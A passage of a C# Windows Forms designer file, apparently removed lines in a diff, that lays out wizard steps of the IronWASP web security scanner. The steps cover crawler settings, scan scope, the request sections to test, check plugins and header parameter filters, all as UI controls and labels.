this.StepOnePreviousBtn.TabIndex = 123; - this.StepOnePreviousBtn.Text = "<-Previous Step"; - this.StepOnePreviousBtn.UseVisualStyleBackColor = true; - this.StepOnePreviousBtn.Click += new System.EventHandler(this.StepOnePreviousBtn_Click); - // - // StepOneNextBtn - // - this.StepOneNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepOneNextBtn.Location = new System.Drawing.Point(715, 302); - this.StepOneNextBtn.Name = "StepOneNextBtn"; - this.StepOneNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepOneNextBtn.TabIndex = 122; - this.StepOneNextBtn.Text = "Next Step ->"; - this.StepOneNextBtn.UseVisualStyleBackColor = true; - this.StepOneNextBtn.Click += new System.EventHandler(this.StepOneNextBtn_Click); - // - // ConfigCrawlerUserAgentTB - // - this.ConfigCrawlerUserAgentTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigCrawlerUserAgentTB.Location = new System.Drawing.Point(15, 258); - this.ConfigCrawlerUserAgentTB.Name = "ConfigCrawlerUserAgentTB"; - this.ConfigCrawlerUserAgentTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.ConfigCrawlerUserAgentTB.Size = new System.Drawing.Size(799, 20); - this.ConfigCrawlerUserAgentTB.TabIndex = 121; - this.ConfigCrawlerUserAgentTB.Text = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)"; - // - // label32 - // - this.label32.AutoSize = true; - this.label32.Location = new System.Drawing.Point(13, 242); - this.label32.Name = "label32"; - this.label32.Size = new System.Drawing.Size(509, 13); - this.label32.TabIndex = 120; - this.label32.Text = "User-Agent Header value used by the Crawler (if this value is blank then an User-" + - "Agent header is not sent):"; - // - // ConfigCrawlerThreadMaxCountLbl - // - this.ConfigCrawlerThreadMaxCountLbl.AutoSize = true; - this.ConfigCrawlerThreadMaxCountLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigCrawlerThreadMaxCountLbl.Location = new System.Drawing.Point(252, 121); - this.ConfigCrawlerThreadMaxCountLbl.Name = "ConfigCrawlerThreadMaxCountLbl"; - this.ConfigCrawlerThreadMaxCountLbl.Size = new System.Drawing.Size(14, 13); - this.ConfigCrawlerThreadMaxCountLbl.TabIndex = 119; - this.ConfigCrawlerThreadMaxCountLbl.Text = "3"; - // - // label33 - // - this.label33.AutoSize = true; - this.label33.Location = new System.Drawing.Point(13, 120); - this.label33.Name = "label33"; - this.label33.Size = new System.Drawing.Size(234, 13); - this.label33.TabIndex = 118; - this.label33.Text = "Number of Parallel Threads used by the Crawler:"; - // - // ConfigCrawlerThreadMaxCountTB - // - this.ConfigCrawlerThreadMaxCountTB.BackColor = System.Drawing.Color.White; - this.ConfigCrawlerThreadMaxCountTB.LargeChange = 10; - this.ConfigCrawlerThreadMaxCountTB.Location = new System.Drawing.Point(278, 106); - this.ConfigCrawlerThreadMaxCountTB.Maximum = 5; - this.ConfigCrawlerThreadMaxCountTB.Minimum = 1; - this.ConfigCrawlerThreadMaxCountTB.Name = "ConfigCrawlerThreadMaxCountTB"; - this.ConfigCrawlerThreadMaxCountTB.Size = new System.Drawing.Size(104, 45); - this.ConfigCrawlerThreadMaxCountTB.TabIndex = 117; - this.ConfigCrawlerThreadMaxCountTB.TickStyle = System.Windows.Forms.TickStyle.Both; - this.ConfigCrawlerThreadMaxCountTB.Value = 3; - this.ConfigCrawlerThreadMaxCountTB.Scroll += new System.EventHandler(this.ConfigCrawlerThreadMaxCountTB_Scroll); - // - // label5 - // - this.label5.AutoSize = true; - this.label5.Location = new System.Drawing.Point(13, 75); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(86, 13); - this.label5.TabIndex = 116; - this.label5.Text = "I want to perform"; - // - // linkLabel2 - // - this.linkLabel2.AutoSize = true; - this.linkLabel2.Location = new System.Drawing.Point(760, 37); - this.linkLabel2.Name = "linkLabel2"; - this.linkLabel2.Size = new System.Drawing.Size(56, 13); - this.linkLabel2.TabIndex = 12; - this.linkLabel2.TabStop = true; - this.linkLabel2.Text = "click here."; - // - // label4 - // - this.label4.AutoSize = true; - this.label4.ForeColor = System.Drawing.SystemColors.ControlDarkDark; - this.label4.Location = new System.Drawing.Point(8, 37); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(755, 13); - this.label4.TabIndex = 11; - this.label4.Text = "NOTE: The crawler mode is not ideal for scanning JavaScript heavy sites and for a" + - "uthenticated section of applications. For details on how to handle such sites "; - // - // label3 - // - this.label3.AutoSize = true; - this.label3.Location = new System.Drawing.Point(8, 10); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(490, 13); - this.label3.TabIndex = 10; - this.label3.Text = "IronWASP will first run a crawler that will try to discover the pages and content" + - " in the target application."; - // - // Two - // - this.Two.Controls.Add(this.Step2StatusTB); - this.Two.Controls.Add(this.StepTwoPreviousBtn); - this.Two.Controls.Add(this.StepTwoNextBtn); - this.Two.Controls.Add(this.label14); - this.Two.Controls.Add(this.label13); - this.Two.Controls.Add(this.label11); - this.Two.Controls.Add(this.StartingUrlTB); - this.Two.Controls.Add(this.ConfigureScanUrlToAvoidTB); - this.Two.Controls.Add(this.label12); - this.Two.Controls.Add(this.BaseUrlTB); - this.Two.Controls.Add(this.panel3); - this.Two.Controls.Add(this.CrossProtoQuestionLbl); - this.Two.Controls.Add(this.panel2); - this.Two.Controls.Add(this.label7); - this.Two.Location = new System.Drawing.Point(4, 25); - this.Two.Name = "Two"; - this.Two.Size = new System.Drawing.Size(826, 332); - this.Two.TabIndex = 4; - this.Two.Text = " Scope "; - this.Two.UseVisualStyleBackColor = true; - // - // Step2StatusTB - // - this.Step2StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step2StatusTB.BackColor = System.Drawing.Color.White; - this.Step2StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step2StatusTB.ForeColor = System.Drawing.Color.Red; - this.Step2StatusTB.Location = new System.Drawing.Point(126, 291); - this.Step2StatusTB.Multiline = true; - this.Step2StatusTB.Name = "Step2StatusTB"; - this.Step2StatusTB.Size = new System.Drawing.Size(577, 32); - this.Step2StatusTB.TabIndex = 142; - this.Step2StatusTB.TabStop = false; - this.Step2StatusTB.Visible = false; - // - // StepTwoPreviousBtn - // - this.StepTwoPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepTwoPreviousBtn.Location = new System.Drawing.Point(8, 302); - this.StepTwoPreviousBtn.Name = "StepTwoPreviousBtn"; - this.StepTwoPreviousBtn.Size = new System.Drawing.Size(105, 23); - this.StepTwoPreviousBtn.TabIndex = 141; - this.StepTwoPreviousBtn.Text = "<-Previous Step"; - this.StepTwoPreviousBtn.UseVisualStyleBackColor = true; - this.StepTwoPreviousBtn.Click += new System.EventHandler(this.StepTwoPreviousBtn_Click); - // - // StepTwoNextBtn - // - this.StepTwoNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepTwoNextBtn.Location = new System.Drawing.Point(715, 303); - this.StepTwoNextBtn.Name = "StepTwoNextBtn"; - this.StepTwoNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepTwoNextBtn.TabIndex = 140; - this.StepTwoNextBtn.Text = "Next Step ->"; - this.StepTwoNextBtn.UseVisualStyleBackColor = true; - this.StepTwoNextBtn.Click += new System.EventHandler(this.StepTwoNextBtn_Click); - // - // label14 - // - this.label14.AutoSize = true; - this.label14.Location = new System.Drawing.Point(11, 181); - this.label14.Name = "label14"; - this.label14.Size = new System.Drawing.Size(151, 13); - this.label14.TabIndex = 139; - this.label14.Text = "Do not Crawl/Scan these Urls:"; - // - // label13 - // - this.label13.AutoSize = true; - this.label13.Location = new System.Drawing.Point(8, 14); - this.label13.Name = "label13"; - this.label13.Size = new System.Drawing.Size(247, 13); - this.label13.TabIndex = 138; - this.label13.Text = "Define the scope of the Crawl and Scan coverage."; - // - // label11 - // - this.label11.AutoSize = true; - this.label11.Location = new System.Drawing.Point(11, 46); - this.label11.Name = "label11"; - this.label11.Size = new System.Drawing.Size(132, 13); - this.label11.TabIndex = 137; - this.label11.Text = "Start crawling from this Url:"; - // - // StartingUrlTB - // - this.StartingUrlTB.Location = new System.Drawing.Point(164, 43); - this.StartingUrlTB.Name = "StartingUrlTB"; - this.StartingUrlTB.Size = new System.Drawing.Size(519, 20); - this.StartingUrlTB.TabIndex = 136; - this.StartingUrlTB.TextChanged += new System.EventHandler(this.ConfigureScanStartingUrlTB_TextChanged); - // - // ConfigureScanUrlToAvoidTB - // - this.ConfigureScanUrlToAvoidTB.Location = new System.Drawing.Point(168, 178); - this.ConfigureScanUrlToAvoidTB.Multiline = true; - this.ConfigureScanUrlToAvoidTB.Name = "ConfigureScanUrlToAvoidTB"; - this.ConfigureScanUrlToAvoidTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.ConfigureScanUrlToAvoidTB.Size = new System.Drawing.Size(636, 87); - this.ConfigureScanUrlToAvoidTB.TabIndex = 135; - this.ConfigureScanUrlToAvoidTB.WordWrap = false; - // - // label12 - // - this.label12.AutoSize = true; - this.label12.Location = new System.Drawing.Point(11, 73); - this.label12.Name = "label12"; - this.label12.Size = new System.Drawing.Size(150, 13); - this.label12.TabIndex = 134; - this.label12.Text = "Do not go below this directory:"; - // - // BaseUrlTB - // - this.BaseUrlTB.Location = new System.Drawing.Point(164, 69); - this.BaseUrlTB.Name = "BaseUrlTB"; - this.BaseUrlTB.Size = new System.Drawing.Size(519, 20); - this.BaseUrlTB.TabIndex = 133; - this.BaseUrlTB.TextChanged += new System.EventHandler(this.ConfigureScanBaseUrlTB_TextChanged); - // - // panel3 - // - this.panel3.Controls.Add(this.CrossProtoNoRB); - this.panel3.Controls.Add(this.CrossProtoYesRB); - this.panel3.Location = new System.Drawing.Point(458, 137); - this.panel3.Name = "panel3"; - this.panel3.Size = new System.Drawing.Size(153, 24); - this.panel3.TabIndex = 132; - // - // CrossProtoNoRB - // - this.CrossProtoNoRB.AutoSize = true; - this.CrossProtoNoRB.Checked = true; - this.CrossProtoNoRB.Location = new System.Drawing.Point(78, 5); - this.CrossProtoNoRB.Name = "CrossProtoNoRB"; - this.CrossProtoNoRB.Size = new System.Drawing.Size(39, 17); - this.CrossProtoNoRB.TabIndex = 114; - this.CrossProtoNoRB.TabStop = true; - this.CrossProtoNoRB.Text = "No"; - this.CrossProtoNoRB.UseVisualStyleBackColor = true; - // - // CrossProtoYesRB - // - this.CrossProtoYesRB.AutoSize = true; - this.CrossProtoYesRB.Location = new System.Drawing.Point(11, 3); - this.CrossProtoYesRB.Name = "CrossProtoYesRB"; - this.CrossProtoYesRB.Size = new System.Drawing.Size(43, 17); - this.CrossProtoYesRB.TabIndex = 115; - this.CrossProtoYesRB.Text = "Yes"; - this.CrossProtoYesRB.UseVisualStyleBackColor = true; - // - // CrossProtoQuestionLbl - // - this.CrossProtoQuestionLbl.AutoSize = true; - this.CrossProtoQuestionLbl.Location = new System.Drawing.Point(11, 142); - this.CrossProtoQuestionLbl.Name = "CrossProtoQuestionLbl"; - this.CrossProtoQuestionLbl.Size = new System.Drawing.Size(421, 13); - this.CrossProtoQuestionLbl.TabIndex = 131; - this.CrossProtoQuestionLbl.Text = "If the site contains links to {0} pages in same domain, should they be crawled/sc" + - "anned?"; - // - // panel2 - // - this.panel2.Controls.Add(this.SubdomainNoRB); - this.panel2.Controls.Add(this.SubdomainYesRB); - this.panel2.Location = new System.Drawing.Point(375, 100); - this.panel2.Name = "panel2"; - this.panel2.Size = new System.Drawing.Size(153, 24); - this.panel2.TabIndex = 130; - // - // SubdomainNoRB - // - this.SubdomainNoRB.AutoSize = true; - this.SubdomainNoRB.Checked = true; - this.SubdomainNoRB.Location = new System.Drawing.Point(78, 4); - this.SubdomainNoRB.Name = "SubdomainNoRB"; - this.SubdomainNoRB.Size = new System.Drawing.Size(39, 17); - this.SubdomainNoRB.TabIndex = 114; - this.SubdomainNoRB.TabStop = true; - this.SubdomainNoRB.Text = "No"; - this.SubdomainNoRB.UseVisualStyleBackColor = true; - // - // SubdomainYesRB - // - this.SubdomainYesRB.AutoSize = true; - this.SubdomainYesRB.Location = new System.Drawing.Point(11, 4); - this.SubdomainYesRB.Name = "SubdomainYesRB"; - this.SubdomainYesRB.Size = new System.Drawing.Size(43, 17); - this.SubdomainYesRB.TabIndex = 115; - this.SubdomainYesRB.Text = "Yes"; - this.SubdomainYesRB.UseVisualStyleBackColor = true; - // - // label7 - // - this.label7.AutoSize = true; - this.label7.Location = new System.Drawing.Point(11, 106); - this.label7.Name = "label7"; - this.label7.Size = new System.Drawing.Size(358, 13); - this.label7.TabIndex = 129; - this.label7.Text = "If the site contains links to sub-domains, should they be crawled/scanned?"; - // - // Three - // - this.Three.Controls.Add(this.Step3StatusTB); - this.Three.Controls.Add(this.ScanAllPluginsCB); - this.Three.Controls.Add(this.StepThreePreviousBtn); - this.Three.Controls.Add(this.StepThreeNextBtn); - this.Three.Controls.Add(this.label16); - this.Three.Controls.Add(this.InjectNamesCB); - this.Three.Controls.Add(this.ScanPluginsGrid); - this.Three.Controls.Add(this.label15); - this.Three.Controls.Add(this.InjectHeadersCB); - this.Three.Controls.Add(this.InjectCookieCB); - this.Three.Controls.Add(this.InjectBodyCB); - this.Three.Controls.Add(this.InjectQueryCB); - this.Three.Controls.Add(this.InjectUrlPathPartsCB); - this.Three.Location = new System.Drawing.Point(4, 25); - this.Three.Name = "Three"; - this.Three.Size = new System.Drawing.Size(826, 332); - this.Three.TabIndex = 2; - this.Three.Text = " Scan Settings "; - this.Three.UseVisualStyleBackColor = true; - // - // Step3StatusTB - // - this.Step3StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step3StatusTB.BackColor = System.Drawing.Color.White; - this.Step3StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step3StatusTB.ForeColor = System.Drawing.Color.Red; - this.Step3StatusTB.Location = new System.Drawing.Point(124, 292); - this.Step3StatusTB.Multiline = true; - this.Step3StatusTB.Name = "Step3StatusTB"; - this.Step3StatusTB.Size = new System.Drawing.Size(577, 32); - this.Step3StatusTB.TabIndex = 145; - this.Step3StatusTB.TabStop = false; - this.Step3StatusTB.Visible = false; - // - // ScanAllPluginsCB - // - this.ScanAllPluginsCB.AutoSize = true; - this.ScanAllPluginsCB.Checked = true; - this.ScanAllPluginsCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ScanAllPluginsCB.Location = new System.Drawing.Point(269, 127); - this.ScanAllPluginsCB.Name = "ScanAllPluginsCB"; - this.ScanAllPluginsCB.Size = new System.Drawing.Size(111, 17); - this.ScanAllPluginsCB.TabIndex = 144; - this.ScanAllPluginsCB.Text = "Enable all Checks"; - this.ScanAllPluginsCB.UseVisualStyleBackColor = true; - this.ScanAllPluginsCB.Click += new System.EventHandler(this.ScanAllPluginsCB_Click); - // - // StepThreePreviousBtn - // - this.StepThreePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepThreePreviousBtn.Location = new System.Drawing.Point(6, 301); - this.StepThreePreviousBtn.Name = "StepThreePreviousBtn"; - this.StepThreePreviousBtn.Size = new System.Drawing.Size(105, 23); - this.StepThreePreviousBtn.TabIndex = 143; - this.StepThreePreviousBtn.Text = "<-Previous Step"; - this.StepThreePreviousBtn.UseVisualStyleBackColor = true; - this.StepThreePreviousBtn.Click += new System.EventHandler(this.StepThreePreviousBtn_Click); - // - // StepThreeNextBtn - // - this.StepThreeNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepThreeNextBtn.Location = new System.Drawing.Point(713, 302); - this.StepThreeNextBtn.Name = "StepThreeNextBtn"; - this.StepThreeNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepThreeNextBtn.TabIndex = 142; - this.StepThreeNextBtn.Text = "Next Step ->"; - this.StepThreeNextBtn.UseVisualStyleBackColor = true; - this.StepThreeNextBtn.Click += new System.EventHandler(this.StepThreeNextBtn_Click); - // - // label16 - // - this.label16.AutoSize = true; - this.label16.Location = new System.Drawing.Point(22, 128); - this.label16.Name = "label16"; - this.label16.Size = new System.Drawing.Size(218, 13); - this.label16.TabIndex = 95; - this.label16.Text = "Which vulnerabilities should be scanned for?"; - // - // InjectNamesCB - // - this.InjectNamesCB.AutoSize = true; - this.InjectNamesCB.Location = new System.Drawing.Point(316, 81); - this.InjectNamesCB.Name = "InjectNamesCB"; - this.InjectNamesCB.Size = new System.Drawing.Size(183, 17); - this.InjectNamesCB.TabIndex = 94; - this.InjectNamesCB.Text = "Parameter Names of Query, Body"; - this.InjectNamesCB.UseVisualStyleBackColor = true; - // - // ScanPluginsGrid - // - this.ScanPluginsGrid.AllowUserToAddRows = false; - this.ScanPluginsGrid.AllowUserToDeleteRows = false; - this.ScanPluginsGrid.AllowUserToResizeRows = false; - this.ScanPluginsGrid.BackgroundColor = System.Drawing.Color.White; - this.ScanPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScanPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ScanPluginsGrid.ColumnHeadersVisible = false; - this.ScanPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn9, - this.dataGridViewTextBoxColumn27}); - this.ScanPluginsGrid.GridColor = System.Drawing.Color.White; - this.ScanPluginsGrid.Location = new System.Drawing.Point(407, 128); - this.ScanPluginsGrid.Margin = new System.Windows.Forms.Padding(0); - this.ScanPluginsGrid.Name = "ScanPluginsGrid"; - this.ScanPluginsGrid.ReadOnly = true; - this.ScanPluginsGrid.RowHeadersVisible = false; - this.ScanPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ScanPluginsGrid.Size = new System.Drawing.Size(300, 152); - this.ScanPluginsGrid.TabIndex = 93; - this.ScanPluginsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanPluginsGrid_CellClick); - // - // dataGridViewCheckBoxColumn9 - // - this.dataGridViewCheckBoxColumn9.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn9.HeaderText = ""; - this.dataGridViewCheckBoxColumn9.Name = "dataGridViewCheckBoxColumn9"; - this.dataGridViewCheckBoxColumn9.ReadOnly = true; - this.dataGridViewCheckBoxColumn9.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewCheckBoxColumn9.Width = 20; - // - // dataGridViewTextBoxColumn27 - // - this.dataGridViewTextBoxColumn27.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn27.HeaderText = "SCAN PLUGINS"; - this.dataGridViewTextBoxColumn27.Name = "dataGridViewTextBoxColumn27"; - this.dataGridViewTextBoxColumn27.ReadOnly = true; - this.dataGridViewTextBoxColumn27.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // label15 - // - this.label15.AutoSize = true; - this.label15.Location = new System.Drawing.Point(22, 26); - this.label15.Name = "label15"; - this.label15.Size = new System.Drawing.Size(252, 13); - this.label15.TabIndex = 24; - this.label15.Text = "Which sections of the Request should be scanned?"; - // - // InjectHeadersCB - // - this.InjectHeadersCB.AutoSize = true; - this.InjectHeadersCB.Location = new System.Drawing.Point(537, 26); - this.InjectHeadersCB.Name = "InjectHeadersCB"; - this.InjectHeadersCB.Size = new System.Drawing.Size(66, 17); - this.InjectHeadersCB.TabIndex = 23; - this.InjectHeadersCB.Text = "Headers"; - this.InjectHeadersCB.UseVisualStyleBackColor = true; - this.InjectHeadersCB.CheckedChanged += new System.EventHandler(this.InjectHeadersCB_CheckedChanged); - // - // InjectCookieCB - // - this.InjectCookieCB.AutoSize = true; - this.InjectCookieCB.Location = new System.Drawing.Point(460, 26); - this.InjectCookieCB.Name = "InjectCookieCB"; - this.InjectCookieCB.Size = new System.Drawing.Size(59, 17); - this.InjectCookieCB.TabIndex = 22; - this.InjectCookieCB.Text = "Cookie"; - this.InjectCookieCB.UseVisualStyleBackColor = true; - this.InjectCookieCB.CheckedChanged += new System.EventHandler(this.InjectCookieCB_CheckedChanged); - // - // InjectBodyCB - // - this.InjectBodyCB.AutoSize = true; - this.InjectBodyCB.Checked = true; - this.InjectBodyCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.InjectBodyCB.Location = new System.Drawing.Point(393, 25); - this.InjectBodyCB.Name = "InjectBodyCB"; - this.InjectBodyCB.Size = new System.Drawing.Size(50, 17); - this.InjectBodyCB.TabIndex = 21; - this.InjectBodyCB.Text = "Body"; - this.InjectBodyCB.UseVisualStyleBackColor = true; - this.InjectBodyCB.CheckedChanged += new System.EventHandler(this.InjectBodyCB_CheckedChanged); - // - // InjectQueryCB - // - this.InjectQueryCB.AutoSize = true; - this.InjectQueryCB.Checked = true; - this.InjectQueryCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.InjectQueryCB.Location = new System.Drawing.Point(316, 25); - this.InjectQueryCB.Name = "InjectQueryCB"; - this.InjectQueryCB.Size = new System.Drawing.Size(54, 17); - this.InjectQueryCB.TabIndex = 20; - this.InjectQueryCB.Text = "Query"; - this.InjectQueryCB.UseVisualStyleBackColor = true; - this.InjectQueryCB.CheckedChanged += new System.EventHandler(this.InjectQueryCB_CheckedChanged); - // - // InjectUrlPathPartsCB - // - this.InjectUrlPathPartsCB.AutoSize = true; - this.InjectUrlPathPartsCB.Checked = true; - this.InjectUrlPathPartsCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.InjectUrlPathPartsCB.Location = new System.Drawing.Point(316, 53); - this.InjectUrlPathPartsCB.Name = "InjectUrlPathPartsCB"; - this.InjectUrlPathPartsCB.Size = new System.Drawing.Size(349, 17); - this.InjectUrlPathPartsCB.TabIndex = 19; - this.InjectUrlPathPartsCB.Text = "Url Path Parts (only when Query string is blank, to cover Url-rewriting)"; - this.InjectUrlPathPartsCB.UseVisualStyleBackColor = true; - // - // Four - // - this.Four.Controls.Add(this.Step4StatusTB); - this.Four.Controls.Add(this.label18); - this.Four.Controls.Add(this.label17); - this.Four.Controls.Add(this.StepFourPreviousBtn); - this.Four.Controls.Add(this.StepFourNextBtn); - this.Four.Controls.Add(this.groupBox5); - this.Four.Controls.Add(this.groupBox1); - this.Four.Controls.Add(this.groupBox3); - this.Four.Controls.Add(this.groupBox4); - this.Four.Location = new System.Drawing.Point(4, 25); - this.Four.Name = "Four"; - this.Four.Size = new System.Drawing.Size(826, 332); - this.Four.TabIndex = 5; - this.Four.Text = " Scan Filter "; - this.Four.UseVisualStyleBackColor = true; - // - // Step4StatusTB - // - this.Step4StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step4StatusTB.BackColor = System.Drawing.Color.White; - this.Step4StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step4StatusTB.ForeColor = System.Drawing.Color.Red; - this.Step4StatusTB.Location = new System.Drawing.Point(126, 296); - this.Step4StatusTB.Multiline = true; - this.Step4StatusTB.Name = "Step4StatusTB"; - this.Step4StatusTB.Size = new System.Drawing.Size(577, 32); - this.Step4StatusTB.TabIndex = 148; - this.Step4StatusTB.TabStop = false; - this.Step4StatusTB.Visible = false; - // - // label18 - // - this.label18.AutoSize = true; - this.label18.Location = new System.Drawing.Point(7, 30); - this.label18.Name = "label18"; - this.label18.Size = new System.Drawing.Size(561, 13); - this.label18.TabIndex = 147; - this.label18.Text = "Check the box at the beginning to enable the list. Use + and - options to toggle " + - "between white-list and black-list mode."; - // - // label17 - // - this.label17.AutoSize = true; - this.label17.Location = new System.Drawing.Point(7, 10); - this.label17.Name = "label17"; - this.label17.Size = new System.Drawing.Size(436, 13); - this.label17.TabIndex = 146; - this.label17.Text = "You can set a black-list or white-list to include or exclude request parameters f" + - "rom the scan."; - // - // StepFourPreviousBtn - // - this.StepFourPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepFourPreviousBtn.Location = new System.Drawing.Point(7, 301); - this.StepFourPreviousBtn.Name = "StepFourPreviousBtn"; - this.StepFourPreviousBtn.Size = new System.Drawing.Size(105, 23); - this.StepFourPreviousBtn.TabIndex = 145; - this.StepFourPreviousBtn.Text = "<-Previous Step"; - this.StepFourPreviousBtn.UseVisualStyleBackColor = true; - this.StepFourPreviousBtn.Click += new System.EventHandler(this.StepFourPreviousBtn_Click); - // - // StepFourNextBtn - // - this.StepFourNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepFourNextBtn.Location = new System.Drawing.Point(714, 302); - this.StepFourNextBtn.Name = "StepFourNextBtn"; - this.StepFourNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepFourNextBtn.TabIndex = 144; - this.StepFourNextBtn.Text = "Next Step ->"; - this.StepFourNextBtn.UseVisualStyleBackColor = true; - this.StepFourNextBtn.Click += new System.EventHandler(this.StepFourNextBtn_Click); - // - // groupBox5 - // - this.groupBox5.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.groupBox5.Controls.Add(this.HeadersParametersFilterCB); - this.groupBox5.Controls.Add(this.HeadersParametersPlusTB); - this.groupBox5.Controls.Add(this.HeadersParametersMinusTB); - this.groupBox5.Controls.Add(this.HeadersParametersPlusRB); - this.groupBox5.Controls.Add(this.HeadersParametersMinusRB); - this.groupBox5.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.groupBox5.Location = new System.Drawing.Point(10, 240); - this.groupBox5.Margin = new System.Windows.Forms.Padding(0); - this.groupBox5.Name = "groupBox5"; - this.groupBox5.Size = new System.Drawing.Size(800, 52); - this.groupBox5.TabIndex = 95; - this.groupBox5.TabStop = false; - // - // HeadersParametersFilterCB - // - this.HeadersParametersFilterCB.AutoSize = true; - this.HeadersParametersFilterCB.Enabled = false; - this.HeadersParametersFilterCB.Location = new System.Drawing.Point(8, 20); - this.HeadersParametersFilterCB.Name = "HeadersParametersFilterCB"; - this.HeadersParametersFilterCB.Size = new System.Drawing.Size(203, 17); - this.HeadersParametersFilterCB.TabIndex = 59; - this.HeadersParametersFilterCB.Text = "Don\'t scan these Header Parameters:"; - this.HeadersParametersFilterCB.UseVisualStyleBackColor = true; - this.HeadersParametersFilterCB.CheckedChanged += new System.EventHandler(this.HeadersParametersFilterCB_CheckedChanged); - // - // HeadersParametersPlusTB - // - this.HeadersParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.HeadersParametersPlusTB.Enabled = false; - this.HeadersParametersPlusTB.Location = new System.Drawing.Point(255, 8); - this.HeadersParametersPlusTB.Name = "HeadersParametersPlusTB"; - this.HeadersParametersPlusTB.Size = new System.Drawing.Size(539, 20); - this.HeadersParametersPlusTB.TabIndex = 51; - // - // HeadersParametersMinusTB - // - this.HeadersParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.HeadersParametersMinusTB.Enabled = false; - this.HeadersParametersMinusTB.Location = new System.Drawing.Point(255, 29); - this.HeadersParametersMinusTB.Name = "HeadersParametersMinusTB"; - this.HeadersParametersMinusTB.Size = new System.Drawing.Size(539, 20); - this.HeadersParametersMinusTB.TabIndex = 52; - this.HeadersParametersMinusTB.Text = "Proxy-Connection, User-Agent, Accept, Referer, Accept-Encoding, Accept-Language, " + - "Accept-Charset, Content-Type, Content-Length, If-Modified-Since, Pragma"; - // - // HeadersParametersPlusRB - // - this.HeadersParametersPlusRB.AutoSize = true; - this.HeadersParametersPlusRB.Enabled = false; - this.HeadersParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.HeadersParametersPlusRB.Location = new System.Drawing.Point(215, 10); - this.HeadersParametersPlusRB.Name = "HeadersParametersPlusRB"; - this.HeadersParametersPlusRB.Size = new System.Drawing.Size(34, 20); - 